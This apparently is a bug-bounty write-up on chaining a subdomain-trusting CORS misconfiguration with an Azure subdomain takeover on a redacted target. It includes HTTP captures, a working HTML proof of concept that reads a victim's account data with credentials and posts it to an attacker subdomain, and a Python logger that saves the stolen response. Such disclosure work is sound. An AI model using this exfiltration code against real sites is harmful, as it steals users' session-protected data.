Chaining the tale of 2 Vulnerabilities

Synack Bug-bounty Program

Few months before, I came across an Interesting target during my bug-bounty assessment and found a subdomain-based cors and initially it was rejected stating that there is pre-requisite of the subdomain needed for this vulnerability to work. But then I showed an impact of subdomain takeover and chained with this cors and got the maximum bounty payout and good response from VO.

Payout

What is CORS?

According to Portswigger, A Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain attacks, if a website’s CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).

Tale of 2

So, lets assume the target name is www.redacted.com, and the below is the following request

GET /sensitive-victim-data HTTP/1.1
Host: redacted.com
Origin: https://redacted.com
Cookie: sessionid=...

The following response below:

HTTP/1.1 200 
Date: Thu, 31 Mar 2022 04:42:26 GMT
Content-Type: application/json
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://redacted.com/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Now, I thought of exploring the CORS attack on this request, since the origin header was reflecting in the response. When I give arbitary Origin, the application does not respond to those header requests. So, I have decided to use this CORScanner tool to check for any CORS Misconfigurations and found the following trust_any_suborigin vulnerability.

{'url': 'https://www.redacted.com', 'type': 'trust_any_suborigin', 'credentials': 'true', 'origin': 'https://redacted.com', 'status_code': 200}

This is a risky trust dependency, because if there is a vulnerable subdomain and an attacker takes control of the subdomain, then he might able to host his payload scripts and extract the sensitive Information from the parent domain through this CORS vulnerability. So I checked once again manually in burp to make sure this Trust any subdomain is true.

As expected, I got the following result and I could able to see that injected subdomain is getting reflected in the response.

GET /sensitive-victim-data HTTP/1.1
Host: redacted.com
Origin: https://redacted.com
Cookie: sessionid=...

The following response below:

HTTP/1.1 200 
Date: Thu, 31 Mar 2022 04:42:26 GMT
Content-Type: application/json
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://evil.redacted.com/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

So, I have submitted this finding in synack and was expecting a payout. But unfortunately the VO rejected with the below comment:

VO First Message

Now I need to find the a vulnerable subdomain, since they need an evidence that there is existing subdomain vulnerability and as per the scope the subdomain-takeover is considered as out of scope. Therefore, I need to find atleast there is a vulnerable subdomain available to strengthen my evidence to prove that this attack could be lethal and potential attack vector to get my payout.

So, I have started to look for any subdomain-takeover vulnerabilities on the target, I used the tool subfinder to collect all the subdomain from the target and then passed the output to Subjack to check any dns misconfigurations. Luckily, I found a subdomain on Microsoft Azure, the Azure endpoint has been removed, but the DNS information has not been updated. The status of the request has changed from “NOERROR” to “NXDOMAIN” because the actual endpoint (and the IP addresses associated to it) no longer exists, but from the adversary’s perspective the alias “user.redacted.com is still configured. This was similar to this writeup from Synack-CloudSubdomain-Takeover and this article gave me the steps for performing Azure-Subdomain Takeover. But all I needed was the dig command which gave me the output NXDOMAIN to prove that there exists a subdomain vulnerability. Also I created a below PoC code to show that, If an attacker takeover that subdomain and then chain it with CORS, he could retrieve the sensitive Informations from the application.

<html>
<head>
<title>Subdomain-Based CORS POC</title>
</head>
<body>
<h1>Subdomain-Based CORS POC</h>
<script>
var crossoriginget = new XMLHttpRequest();
//The target site with the bad CORS configuration
var url = 'https://redacted.com/portal/account/info?customerNumber=100';
crossoriginget.open('GET', url, true);
/*  This tells the browser to send the request with cookies;
   requires “Access-Control-Allow-Credentials = true” in
   response headers for this.responseText to be readable.  */
crossoriginget.withCredentials = true;
crossoriginget.onload = reqListener;
crossoriginget.send();
/*  Once the cross-origin request completes, attempt to read the
   response text and send it to the malicious server using an
   HTTP POST request.  */
function reqListener() {
var exfiltraterequest = new XMLHttpRequest();
//Our server hosting the CORS attack
var maliciousurl = 'https://evil.redacted.com/cgi-bin/postlogger.py';
exfiltraterequest.open('POST', maliciousurl);
exfiltraterequest.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
exfiltraterequest.send('responsehtml=' + encodeURIComponent(String(this.responseText)));
};
</script>
</body>
</html>

The postlogger.py contains the following the code which could extract the data and sends back to the attacker.

#!/usr/bin/env python3
import cgi
import sys
import urllib.parse

# Read the POST request body submitted from subdomain-cors.html
postform = cgi.FieldStorage()
postdata = urllib.parse.unquote(postform['responsehtml'].value).replace('\\r\\n', '\r\n').replace('\\t', '\t')
sys.stderr.write(postdata)

# Write the POST data to disk
with open('captured-post-data.txt', 'a+') as outputfile:
    outputfile.writelines(postdata)

Then, I have resubmitted the vulnerability again and this time with proofs and showing them the subdomain takeover possibility as well. After few minutes got the following message from VO.

Vulnerability Accepted

Thus, I was managed to chain this two vulnerability to get a maximum payout and It was my first subdomain+cors vulnerability reporting in Synack as well. I hope you guys liked it.

Can I Takeover XYZ https://github.com/EdOverflow/can-i-take-over-xyz/issues/35 Subdomain Takeover Protips https://securitytrails.com/blog/subdomain-takeover-tips Subdomain Takeover https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover
0%